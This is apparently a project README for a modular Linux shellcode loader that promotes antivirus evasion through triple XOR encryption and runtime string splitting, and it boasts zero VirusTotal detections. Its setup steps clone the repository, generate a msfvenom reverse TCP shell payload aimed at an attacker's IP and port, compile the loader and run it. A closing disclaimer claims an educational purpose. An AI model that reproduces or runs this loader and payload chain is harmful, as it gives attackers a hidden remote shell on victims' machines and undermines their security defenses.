Modular Shellcode Loader for Linux

A lightweight, modular shellcode loader for Linux with triple XOR encryption and modern evasion techniques.

VirusTotal Results

0/70 detections - Fully undetected by all major AV engines

1. Clone & compile

git clone https://github.com/Pwn3rx0/linux-loader.git
cd linux-loader
# replace shellcode.bin with your own
msfvenom -p linux/x64/shell_reverse_tcp lhost=<ur-ip> lport=<ur-port> -f raw -o shellcode.bin
make all
./dist/shellcode_loader

🛡️ Features

• Triple XOR Encryption - Each byte encrypted with 3 unique keys
• String Splitting - Strings assembled at runtime to evade detection
• Binary Hardening - Full PIE, RELRO, stripped symbols, no execstack
• Modular Design - Clean separation of decryption, execution, and utilities
• No Anti-VM/Debug - Focused on core functionality without anti-analysis

Caution

This tool is designed for EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY. I AM NOT RESPONSIBLE FOR YOUR ACTIONS. DON'T DO BAD STUFF.